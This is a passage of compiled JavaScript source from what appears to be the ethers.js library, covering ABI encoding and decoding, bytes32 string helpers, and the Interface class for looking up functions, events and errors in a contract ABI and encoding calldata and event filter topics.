\"DIVIDE_BY_ZERO\");\nPanicReasons.set(0x21, \"ENUM_RANGE_ERROR\");\nPanicReasons.set(0x22, \"BAD_STORAGE_DATA\");\nPanicReasons.set(0x31, \"STACK_UNDERFLOW\");\nPanicReasons.set(0x32, \"ARRAY_RANGE_ERROR\");\nPanicReasons.set(0x41, \"OUT_OF_MEMORY\");\nPanicReasons.set(0x51, \"UNINITIALIZED_FUNCTION_CALL\");\nconst paramTypeBytes = new RegExp(/^bytes([0-9]*)$/);\nconst paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/);\nlet defaultCoder = null;\nlet defaultMaxInflation = 1024;\nfunction getBuiltinCallException(action, tx, data, abiCoder) {\n let message = \"missing revert data\";\n let reason = null;\n const invocation = null;\n let revert = null;\n if (data) {\n message = \"execution reverted\";\n const bytes = getBytes(data);\n data = hexlify(data);\n if (bytes.length === 0) {\n message += \" (no data present; likely require(false) occurred\";\n reason = \"require(false)\";\n }\n else if (bytes.length % 32 !== 4) {\n message += \" (could not decode reason; invalid data length)\";\n }\n else if (hexlify(bytes.slice(0, 4)) === \"0x08c379a0\") {\n // Error(string)\n try {\n reason = abiCoder.decode([\"string\"], bytes.slice(4))[0];\n revert = {\n signature: \"Error(string)\",\n name: \"Error\",\n args: [reason]\n };\n message += `: ${JSON.stringify(reason)}`;\n }\n catch (error) {\n message += \" (could not decode reason; invalid string data)\";\n }\n }\n else if (hexlify(bytes.slice(0, 4)) === \"0x4e487b71\") {\n // Panic(uint256)\n try {\n const code = Number(abiCoder.decode([\"uint256\"], bytes.slice(4))[0]);\n revert = {\n signature: \"Panic(uint256)\",\n name: \"Panic\",\n args: [code]\n };\n reason = `Panic due to ${PanicReasons.get(code) || \"UNKNOWN\"}(${code})`;\n message += `: ${reason}`;\n }\n catch (error) {\n message += \" (could not decode panic code)\";\n }\n }\n else {\n message += \" (unknown custom error)\";\n }\n }\n const transaction = {\n to: (tx.to ? getAddress(tx.to) : null),\n data: (tx.data || \"0x\")\n };\n if (tx.from) {\n transaction.from = getAddress(tx.from);\n }\n return makeError(message, \"CALL_EXCEPTION\", {\n action, data, reason, transaction, invocation, revert\n });\n}\n/**\n * The **AbiCoder** is a low-level class responsible for encoding JavaScript\n * values into binary data and decoding binary data into JavaScript values.\n */\nexport class AbiCoder {\n #getCoder(param) {\n if (param.isArray()) {\n return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name);\n }\n if (param.isTuple()) {\n return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name);\n }\n switch (param.baseType) {\n case \"address\":\n return new AddressCoder(param.name);\n case \"bool\":\n return new BooleanCoder(param.name);\n case \"string\":\n return new StringCoder(param.name);\n case \"bytes\":\n return new BytesCoder(param.name);\n case \"\":\n return new NullCoder(param.name);\n }\n // u?int[0-9]*\n let match = param.type.match(paramTypeNumber);\n if (match) {\n let size = parseInt(match[2] || \"256\");\n assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, \"invalid \" + match[1] + \" bit length\", \"param\", param);\n return new NumberCoder(size / 8, (match[1] === \"int\"), param.name);\n }\n // bytes[0-9]+\n match = param.type.match(paramTypeBytes);\n if (match) {\n let size = parseInt(match[1]);\n assertArgument(size !== 0 && size <= 32, \"invalid bytes length\", \"param\", param);\n return new FixedBytesCoder(size, param.name);\n }\n assertArgument(false, \"invalid type\", \"type\", param.type);\n }\n /**\n * Get the default values for the given %%types%%.\n *\n * For example, a ``uint`` is by default ``0`` and ``bool``\n * is by default ``false``.\n */\n getDefaultValue(types) {\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.defaultValue();\n }\n /**\n * Encode the %%values%% as the %%types%% into ABI data.\n *\n * @returns DataHexstring\n */\n encode(types, values) {\n assertArgumentCount(values.length, types.length, \"types/values length mismatch\");\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = (new TupleCoder(coders, \"_\"));\n const writer = new Writer();\n coder.encode(writer, values);\n return writer.data;\n }\n /**\n * Decode the ABI %%data%% as the %%types%% into values.\n *\n * If %%loose%% decoding is enabled, then strict padding is\n * not enforced. Some older versions of Solidity incorrectly\n * padded event data emitted from ``external`` functions.\n */\n decode(types, data, loose) {\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.decode(new Reader(data, loose, defaultMaxInflation));\n }\n static _setDefaultMaxInflation(value) {\n assertArgument(typeof (value) === \"number\" && Number.isInteger(value), \"invalid defaultMaxInflation factor\", \"value\", value);\n defaultMaxInflation = value;\n }\n /**\n * Returns the shared singleton instance of a default [[AbiCoder]].\n *\n * On the first call, the instance is created internally.\n */\n static defaultAbiCoder() {\n if (defaultCoder == null) {\n defaultCoder = new AbiCoder();\n }\n return defaultCoder;\n }\n /**\n * Returns an ethers-compatible [[CallExceptionError]] Error for the given\n * result %%data%% for the [[CallExceptionAction]] %%action%% against\n * the Transaction %%tx%%.\n */\n static getBuiltinCallException(action, tx, data) {\n return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder());\n }\n}\n//# sourceMappingURL=abi-coder.js.map","/**\n * About bytes32 strings...\n *\n * @_docloc: api/utils:Bytes32 Strings\n */\nimport { getBytes, toUtf8Bytes, toUtf8String, zeroPadBytes } from \"../utils/index.js\";\n/**\n * Encodes %%text%% as a Bytes32 string.\n */\nexport function encodeBytes32String(text) {\n // Get the bytes\n const bytes = toUtf8Bytes(text);\n // Check we have room for null-termination\n if (bytes.length > 31) {\n throw new Error(\"bytes32 string must be less than 32 bytes\");\n }\n // Zero-pad (implicitly null-terminates)\n return zeroPadBytes(bytes, 32);\n}\n/**\n * Encodes the Bytes32-encoded %%bytes%% into a string.\n */\nexport function decodeBytes32String(_bytes) {\n const data = getBytes(_bytes, \"bytes\");\n // Must be 32 bytes with a null-termination\n if (data.length !== 32) {\n throw new Error(\"invalid bytes32 - not 32 bytes long\");\n }\n if (data[31] !== 0) {\n throw new Error(\"invalid bytes32 string - no null terminator\");\n }\n // Find the null termination\n let length = 31;\n while (data[length - 1] === 0) {\n length--;\n }\n // Determine the string value\n return toUtf8String(data.slice(0, length));\n}\n//# sourceMappingURL=bytes32.js.map","/**\n * The Interface class is a low-level class that accepts an\n * ABI and provides all the necessary functionality to encode\n * and decode paramaters to and results from methods, events\n * and errors.\n *\n * It also provides several convenience methods to automatically\n * search and find matching transactions and events to parse them.\n *\n * @_subsection api/abi:Interfaces [interfaces]\n */\nimport { keccak256 } from \"../crypto/index.js\";\nimport { id } from \"../hash/index.js\";\nimport { concat, dataSlice, getBigInt, getBytes, getBytesCopy, hexlify, zeroPadBytes, zeroPadValue, isHexString, defineProperties, assertArgument, toBeHex, assert } from \"../utils/index.js\";\nimport { AbiCoder } from \"./abi-coder.js\";\nimport { checkResultErrors, Result } from \"./coders/abstract-coder.js\";\nimport { ConstructorFragment, ErrorFragment, EventFragment, Fragment, FunctionFragment, ParamType } from \"./fragments.js\";\nimport { Typed } from \"./typed.js\";\nexport { checkResultErrors, Result };\n/**\n * When using the [[Interface-parseLog]] to automatically match a Log to its event\n * for parsing, a **LogDescription** is returned.\n */\nexport class LogDescription {\n /**\n * The matching fragment for the ``topic0``.\n */\n fragment;\n /**\n * The name of the Event.\n */\n name;\n /**\n * The full Event signature.\n */\n signature;\n /**\n * The topic hash for the Event.\n */\n topic;\n /**\n * The arguments passed into the Event with ``emit``.\n */\n args;\n /**\n * @_ignore:\n */\n constructor(fragment, topic, args) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, signature, topic, args\n });\n }\n}\n/**\n * When using the [[Interface-parseTransaction]] to automatically match\n * a transaction data to its function for parsing,\n * a **TransactionDescription** is returned.\n */\nexport class TransactionDescription {\n /**\n * The matching fragment from the transaction ``data``.\n */\n fragment;\n /**\n * The name of the Function from the transaction ``data``.\n */\n name;\n /**\n * The arguments passed to the Function from the transaction ``data``.\n */\n args;\n /**\n * The full Function signature from the transaction ``data``.\n */\n signature;\n /**\n * The selector for the Function from the transaction ``data``.\n */\n selector;\n /**\n * The ``value`` (in wei) from the transaction.\n */\n value;\n /**\n * @_ignore:\n */\n constructor(fragment, selector, args, value) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, args, signature, selector, value\n });\n }\n}\n/**\n * When using the [[Interface-parseError]] to automatically match an\n * error for a call result for parsing, an **ErrorDescription** is returned.\n */\nexport class ErrorDescription {\n /**\n * The matching fragment.\n */\n fragment;\n /**\n * The name of the Error.\n */\n name;\n /**\n * The arguments passed to the Error with ``revert``.\n */\n args;\n /**\n * The full Error signature.\n */\n signature;\n /**\n * The selector for the Error.\n */\n selector;\n /**\n * @_ignore:\n */\n constructor(fragment, selector, args) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, args, signature, selector\n });\n }\n}\n/**\n * An **Indexed** is used as a value when a value that does not\n * fit within a topic (i.e. not a fixed-length, 32-byte type). It\n * is the ``keccak256`` of the value, and used for types such as\n * arrays, tuples, bytes and strings.\n */\nexport class Indexed {\n /**\n * The ``keccak256`` of the value logged.\n */\n hash;\n /**\n * @_ignore:\n */\n _isIndexed;\n /**\n * Returns ``true`` if %%value%% is an **Indexed**.\n *\n * This provides a Type Guard for property access.\n */\n static isIndexed(value) {\n return !!(value && value._isIndexed);\n }\n /**\n * @_ignore:\n */\n constructor(hash) {\n defineProperties(this, { hash, _isIndexed: true });\n }\n}\n// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require\nconst PanicReasons = {\n \"0\": \"generic panic\",\n \"1\": \"assert(false)\",\n \"17\": \"arithmetic overflow\",\n \"18\": \"division or modulo by zero\",\n \"33\": \"enum overflow\",\n \"34\": \"invalid encoded storage byte array accessed\",\n \"49\": \"out-of-bounds array access; popping on an empty array\",\n \"50\": \"out-of-bounds access of an array or bytesN\",\n \"65\": \"out of memory\",\n \"81\": \"uninitialized function\",\n};\nconst BuiltinErrors = {\n \"0x08c379a0\": {\n signature: \"Error(string)\",\n name: \"Error\",\n inputs: [\"string\"],\n reason: (message) => {\n return `reverted with reason string ${JSON.stringify(message)}`;\n }\n },\n \"0x4e487b71\": {\n signature: \"Panic(uint256)\",\n name: \"Panic\",\n inputs: [\"uint256\"],\n reason: (code) => {\n let reason = \"unknown panic code\";\n if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) {\n reason = PanicReasons[code.toString()];\n }\n return `reverted with panic code 0x${code.toString(16)} (${reason})`;\n }\n }\n};\n/**\n * An Interface abstracts many of the low-level details for\n * encoding and decoding the data on the blockchain.\n *\n * An ABI provides information on how to encode data to send to\n * a Contract, how to decode the results and events and how to\n * interpret revert errors.\n *\n * The ABI can be specified by [any supported format](InterfaceAbi).\n */\nexport class Interface {\n /**\n * All the Contract ABI members (i.e. methods, events, errors, etc).\n */\n fragments;\n /**\n * The Contract constructor.\n */\n deploy;\n /**\n * The Fallback method, if any.\n */\n fallback;\n /**\n * If receiving ether is supported.\n */\n receive;\n #errors;\n #events;\n #functions;\n // #structs: Map;\n #abiCoder;\n /**\n * Create a new Interface for the %%fragments%%.\n */\n constructor(fragments) {\n let abi = [];\n if (typeof (fragments) === \"string\") {\n abi = JSON.parse(fragments);\n }\n else {\n abi = fragments;\n }\n this.#functions = new Map();\n this.#errors = new Map();\n this.#events = new Map();\n // this.#structs = new Map();\n const frags = [];\n for (const a of abi) {\n try {\n frags.push(Fragment.from(a));\n }\n catch (error) {\n console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message);\n }\n }\n defineProperties(this, {\n fragments: Object.freeze(frags)\n });\n let fallback = null;\n let receive = false;\n this.#abiCoder = this.getAbiCoder();\n // Add all fragments by their signature\n this.fragments.forEach((fragment, index) => {\n let bucket;\n switch (fragment.type) {\n case \"constructor\":\n if (this.deploy) {\n console.log(\"duplicate definition - constructor\");\n return;\n }\n //checkNames(fragment, \"input\", fragment.inputs);\n defineProperties(this, { deploy: fragment });\n return;\n case \"fallback\":\n if (fragment.inputs.length === 0) {\n receive = true;\n }\n else {\n assertArgument(!fallback || fragment.payable !== fallback.payable, \"conflicting fallback fragments\", `fragments[${index}]`, fragment);\n fallback = fragment;\n receive = fallback.payable;\n }\n return;\n case \"function\":\n //checkNames(fragment, \"input\", fragment.inputs);\n //checkNames(fragment, \"output\", (fragment).outputs);\n bucket = this.#functions;\n break;\n case \"event\":\n //checkNames(fragment, \"input\", fragment.inputs);\n bucket = this.#events;\n break;\n case \"error\":\n bucket = this.#errors;\n break;\n default:\n return;\n }\n // Two identical entries; ignore it\n const signature = fragment.format();\n if (bucket.has(signature)) {\n return;\n }\n bucket.set(signature, fragment);\n });\n // If we do not have a constructor add a default\n if (!this.deploy) {\n defineProperties(this, {\n deploy: ConstructorFragment.from(\"constructor()\")\n });\n }\n defineProperties(this, { fallback, receive });\n }\n /**\n * Returns the entire Human-Readable ABI, as an array of\n * signatures, optionally as %%minimal%% strings, which\n * removes parameter names and unneceesary spaces.\n */\n format(minimal) {\n const format = (minimal ? \"minimal\" : \"full\");\n const abi = this.fragments.map((f) => f.format(format));\n return abi;\n }\n /**\n * Return the JSON-encoded ABI. This is the format Solidiy\n * returns.\n */\n formatJson() {\n const abi = this.fragments.map((f) => f.format(\"json\"));\n // We need to re-bundle the JSON fragments a bit\n return JSON.stringify(abi.map((j) => JSON.parse(j)));\n }\n /**\n * The ABI coder that will be used to encode and decode binary\n * data.\n */\n getAbiCoder() {\n return AbiCoder.defaultAbiCoder();\n }\n // Find a function definition by any means necessary (unless it is ambiguous)\n #getFunction(key, values, forceUnique) {\n // Selector\n if (isHexString(key)) {\n const selector = key.toLowerCase();\n for (const fragment of this.#functions.values()) {\n if (selector === fragment.selector) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#functions) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (values) {\n const lastValue = (values.length > 0) ? values[values.length - 1] : null;\n let valueLength = values.length;\n let allowOptions = true;\n if (Typed.isTyped(lastValue) && lastValue.type === \"overrides\") {\n allowOptions = false;\n valueLength--;\n }\n // Remove all matches that don't have a compatible length. The args\n // may contain an overrides, so the match may have n or n - 1 parameters\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs.length;\n if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) {\n matching.splice(i, 1);\n }\n }\n // Remove all matches that don't match the Typed signature\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs;\n for (let j = 0; j < values.length; j++) {\n // Not a typed value\n if (!Typed.isTyped(values[j])) {\n continue;\n }\n // We are past the inputs\n if (j >= inputs.length) {\n if (values[j].type === \"overrides\") {\n continue;\n }\n matching.splice(i, 1);\n break;\n }\n // Make sure the value type matches the input type\n if (values[j].type !== inputs[j].baseType) {\n matching.splice(i, 1);\n break;\n }\n }\n }\n }\n // We found a single matching signature with an overrides, but the\n // last value is something that cannot possibly be an options\n if (matching.length === 1 && values && values.length !== matching[0].inputs.length) {\n const lastArg = values[values.length - 1];\n if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== \"object\") {\n matching.splice(0, 1);\n }\n }\n if (matching.length === 0) {\n return null;\n }\n if (matching.length > 1 && forceUnique) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous function description (i.e. matches ${matchStr})`, \"key\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n const result = this.#functions.get(FunctionFragment.from(key).format());\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Get the function name for %%key%%, which may be a function selector,\n * function name or function signature that belongs to the ABI.\n */\n getFunctionName(key) {\n const fragment = this.#getFunction(key, null, false);\n assertArgument(fragment, \"no matching function\", \"key\", key);\n return fragment.name;\n }\n /**\n * Returns true if %%key%% (a function selector, function name or\n * function signature) is present in the ABI.\n *\n * In the case of a function name, the name may be ambiguous, so\n * accessing the [[FunctionFragment]] may require refinement.\n */\n hasFunction(key) {\n return !!this.#getFunction(key, null, false);\n }\n /**\n * Get the [[FunctionFragment]] for %%key%%, which may be a function\n * selector, function name or function signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple functions match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single function in\n * the ABI, this will throw.\n */\n getFunction(key, values) {\n return this.#getFunction(key, values || null, true);\n }\n /**\n * Iterate over all functions, calling %%callback%%, sorted by their name.\n */\n forEachFunction(callback) {\n const names = Array.from(this.#functions.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#functions.get(name)), i);\n }\n }\n // Find an event definition by any means necessary (unless it is ambiguous)\n #getEvent(key, values, forceUnique) {\n // EventTopic\n if (isHexString(key)) {\n const eventTopic = key.toLowerCase();\n for (const fragment of this.#events.values()) {\n if (eventTopic === fragment.topicHash) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#events) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (values) {\n // Remove all matches that don't have a compatible length.\n for (let i = matching.length - 1; i >= 0; i--) {\n if (matching[i].inputs.length < values.length) {\n matching.splice(i, 1);\n }\n }\n // Remove all matches that don't match the Typed signature\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs;\n for (let j = 0; j < values.length; j++) {\n // Not a typed value\n if (!Typed.isTyped(values[j])) {\n continue;\n }\n // Make sure the value type matches the input type\n if (values[j].type !== inputs[j].baseType) {\n matching.splice(i, 1);\n break;\n }\n }\n }\n }\n if (matching.length === 0) {\n return null;\n }\n if (matching.length > 1 && forceUnique) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous event description (i.e. matches ${matchStr})`, \"key\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n const result = this.#events.get(EventFragment.from(key).format());\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Get the event name for %%key%%, which may be a topic hash,\n * event name or event signature that belongs to the ABI.\n */\n getEventName(key) {\n const fragment = this.#getEvent(key, null, false);\n assertArgument(fragment, \"no matching event\", \"key\", key);\n return fragment.name;\n }\n /**\n * Returns true if %%key%% (an event topic hash, event name or\n * event signature) is present in the ABI.\n *\n * In the case of an event name, the name may be ambiguous, so\n * accessing the [[EventFragment]] may require refinement.\n */\n hasEvent(key) {\n return !!this.#getEvent(key, null, false);\n }\n /**\n * Get the [[EventFragment]] for %%key%%, which may be a topic hash,\n * event name or event signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple events match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single event in\n * the ABI, this will throw.\n */\n getEvent(key, values) {\n return this.#getEvent(key, values || null, true);\n }\n /**\n * Iterate over all events, calling %%callback%%, sorted by their name.\n */\n forEachEvent(callback) {\n const names = Array.from(this.#events.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#events.get(name)), i);\n }\n }\n /**\n * Get the [[ErrorFragment]] for %%key%%, which may be an error\n * selector, error name or error signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple errors match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single error in\n * the ABI, this will throw.\n */\n getError(key, values) {\n if (isHexString(key)) {\n const selector = key.toLowerCase();\n if (BuiltinErrors[selector]) {\n return ErrorFragment.from(BuiltinErrors[selector].signature);\n }\n for (const fragment of this.#errors.values()) {\n if (selector === fragment.selector) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#errors) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (matching.length === 0) {\n if (key === \"Error\") {\n return ErrorFragment.from(\"error Error(string)\");\n }\n if (key === \"Panic\") {\n return ErrorFragment.from(\"error Panic(uint256)\");\n }\n return null;\n }\n else if (matching.length > 1) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous error description (i.e. ${matchStr})`, \"name\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n key = ErrorFragment.from(key).format();\n if (key === \"Error(string)\") {\n return ErrorFragment.from(\"error Error(string)\");\n }\n if (key === \"Panic(uint256)\") {\n return ErrorFragment.from(\"error Panic(uint256)\");\n }\n const result = this.#errors.get(key);\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Iterate over all errors, calling %%callback%%, sorted by their name.\n */\n forEachError(callback) {\n const names = Array.from(this.#errors.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#errors.get(name)), i);\n }\n }\n // Get the 4-byte selector used by Solidity to identify a function\n /*\ngetSelector(fragment: ErrorFragment | FunctionFragment): string {\n if (typeof(fragment) === \"string\") {\n const matches: Array = [ ];\n\n try { matches.push(this.getFunction(fragment)); } catch (error) { }\n try { matches.push(this.getError(fragment)); } catch (_) { }\n\n if (matches.length === 0) {\n logger.throwArgumentError(\"unknown fragment\", \"key\", fragment);\n } else if (matches.length > 1) {\n logger.throwArgumentError(\"ambiguous fragment matches function and error\", \"key\", fragment);\n }\n\n fragment = matches[0];\n }\n\n return dataSlice(id(fragment.format()), 0, 4);\n}\n */\n // Get the 32-byte topic hash used by Solidity to identify an event\n /*\n getEventTopic(fragment: EventFragment): string {\n //if (typeof(fragment) === \"string\") { fragment = this.getEvent(eventFragment); }\n return id(fragment.format());\n }\n */\n _decodeParams(params, data) {\n return this.#abiCoder.decode(params, data);\n }\n _encodeParams(params, values) {\n return this.#abiCoder.encode(params, values);\n }\n /**\n * Encodes a ``tx.data`` object for deploying the Contract with\n * the %%values%% as the constructor arguments.\n */\n encodeDeploy(values) {\n return this._encodeParams(this.deploy.inputs, values || []);\n }\n /**\n * Decodes the result %%data%% (e.g. from an ``eth_call``) for the\n * specified error (see [[getError]] for valid values for\n * %%key%%).\n *\n * Most developers should prefer the [[parseCallResult]] method instead,\n * which will automatically detect a ``CALL_EXCEPTION`` and throw the\n * corresponding error.\n */\n decodeErrorResult(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getError(fragment);\n assertArgument(f, \"unknown error\", \"fragment\", fragment);\n fragment = f;\n }\n assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, \"data\", data);\n return this._decodeParams(fragment.inputs, dataSlice(data, 4));\n }\n /**\n * Encodes the transaction revert data for a call result that\n * reverted from the the Contract with the sepcified %%error%%\n * (see [[getError]] for valid values for %%fragment%%) with the %%values%%.\n *\n * This is generally not used by most developers, unless trying to mock\n * a result from a Contract.\n */\n encodeErrorResult(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getError(fragment);\n assertArgument(f, \"unknown error\", \"fragment\", fragment);\n fragment = f;\n }\n return concat([\n fragment.selector,\n this._encodeParams(fragment.inputs, values || [])\n ]);\n }\n /**\n * Decodes the %%data%% from a transaction ``tx.data`` for\n * the function specified (see [[getFunction]] for valid values\n * for %%fragment%%).\n *\n * Most developers should prefer the [[parseTransaction]] method\n * instead, which will automatically detect the fragment.\n */\n decodeFunctionData(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, \"data\", data);\n return this._decodeParams(fragment.inputs, dataSlice(data, 4));\n }\n /**\n * Encodes the ``tx.data`` for a transaction that calls the function\n * specified (see [[getFunction]] for valid values for %%fragment%%) with\n * the %%values%%.\n */\n encodeFunctionData(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n return concat([\n fragment.selector,\n this._encodeParams(fragment.inputs, values || [])\n ]);\n }\n /**\n * Decodes the result %%data%% (e.g. from an ``eth_call``) for the\n * specified function (see [[getFunction]] for valid values for\n * %%key%%).\n *\n * Most developers should prefer the [[parseCallResult]] method instead,\n * which will automatically detect a ``CALL_EXCEPTION`` and throw the\n * corresponding error.\n */\n decodeFunctionResult(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n let message = \"invalid length for result data\";\n const bytes = getBytesCopy(data);\n if ((bytes.length % 32) === 0) {\n try {\n return this.#abiCoder.decode(fragment.outputs, bytes);\n }\n catch (error) {\n message = \"could not decode result data\";\n }\n }\n // Call returned data with no error, but the data is junk\n assert(false, message, \"BAD_DATA\", {\n value: hexlify(bytes),\n info: { method: fragment.name, signature: fragment.format() }\n });\n }\n makeError(_data, tx) {\n const data = getBytes(_data, \"data\");\n const error = AbiCoder.getBuiltinCallException(\"call\", tx, data);\n // Not a built-in error; try finding a custom error\n const customPrefix = \"execution reverted (unknown custom error)\";\n if (error.message.startsWith(customPrefix)) {\n const selector = hexlify(data.slice(0, 4));\n const ef = this.getError(selector);\n if (ef) {\n try {\n const args = this.#abiCoder.decode(ef.inputs, data.slice(4));\n error.revert = {\n name: ef.name, signature: ef.format(), args\n };\n error.reason = error.revert.signature;\n error.message = `execution reverted: ${error.reason}`;\n }\n catch (e) {\n error.message = `execution reverted (coult not decode custom error)`;\n }\n }\n }\n // Add the invocation, if available\n const parsed = this.parseTransaction(tx);\n if (parsed) {\n error.invocation = {\n method: parsed.name,\n signature: parsed.signature,\n args: parsed.args\n };\n }\n return error;\n }\n /**\n * Encodes the result data (e.g. from an ``eth_call``) for the\n * specified function (see [[getFunction]] for valid values\n * for %%fragment%%) with %%values%%.\n *\n * This is generally not used by most developers, unless trying to mock\n * a result from a Contract.\n */\n encodeFunctionResult(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n return hexlify(this.#abiCoder.encode(fragment.outputs, values || []));\n }\n /*\n spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> {\n const promises: Array> = [ ];\n const process = function(type: ParamType, value: any): any {\n if (type.baseType === \"array\") {\n return descend(type.child\n }\n if (type. === \"address\") {\n }\n };\n \n const descend = function (inputs: Array, values: ReadonlyArray) {\n if (inputs.length !== values.length) { throw new Error(\"length mismatch\"); }\n \n };\n \n const result: Array = [ ];\n values.forEach((value, index) => {\n if (value == null) {\n topics.push(null);\n } else if (param.baseType === \"array\" || param.baseType === \"tuple\") {\n logger.throwArgumentError(\"filtering with tuples or arrays not supported\", (\"contract.\" + param.name), value);\n } else if (Array.isArray(value)) {\n topics.push(value.map((value) => encodeTopic(param, value)));\n } else {\n topics.push(encodeTopic(param, value));\n }\n });\n }\n */\n // Create the filter for the event with search criteria (e.g. for eth_filterLog)\n encodeFilterTopics(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n assert(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, \"UNEXPECTED_ARGUMENT\", { count: values.length, expectedCount: fragment.inputs.length });\n const topics = [];\n if (!fragment.anonymous) {\n topics.push(fragment.topicHash);\n }\n // @TODO: Use the coders for this; to properly support tuples, etc.\n const encodeTopic = (param, value) => {\n if (param.type === \"string\") {\n return id(value);\n }\n else if (param.type === \"bytes\") {\n return keccak256(hexlify(value));\n }\n if (param.type === \"bool\" && typeof (value) === \"boolean\") {\n value = (value ? \"0x01\" : \"0x00\");\n }\n else if (param.type.match(/^u?int/)) {\n value = toBeHex(value); // @TODO: Should this toTwos??\n }\n else if (param.type.match(/^bytes/)) {\n value = zeroPadBytes(value, 32);\n }\n else if (param.type === \"address\") {\n // Check addresses are valid\n this.#abiCoder.encode([\"address\"], [value]);\n }\n return zeroPadValue(hexlify(value), 32);\n };\n values.forEach((value, index) => {\n const param = fragment.inputs[index];\n if (!param.indexed) {\n assertArgument(value == null, \"cannot filter non-indexed parameters; must be null\", (\"contract.\" + param.name), value);\n return;\n }\n if (value == null) {\n topics.push(null);\n }\n else if (param.baseType === \"array\" || param.baseType === \"tuple\") {\n assertArgument(false, \"filtering with tuples or arrays not supported\", (\"contract.\" + param.name), value);\n }\n else if (Array.isArray(value)) {\n topics.push(value.map((value) => encodeTopic(param, value)));\n }\n else {\n topics.push(encodeTopic(param, value));\n }\n });\n // Trim off trailing nulls\n while (topics.length && topics[topics.length - 1] === null) {\n topics.pop();\n }\n return topics;\n }\n encodeEventLog(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n const topics = [];\n const dataTypes = [];\n const dataValues = [];\n if (!fragment.anonymous) {\n topics.push(fragment.topicHash);\n }\n assertArgument(values.length === fragment.inputs.length, \"event arguments/values mismatch\", \"values\", values);\n fragment.inputs.forEach((param, index) => {\n const value = values[index];\n if (param.indexed) 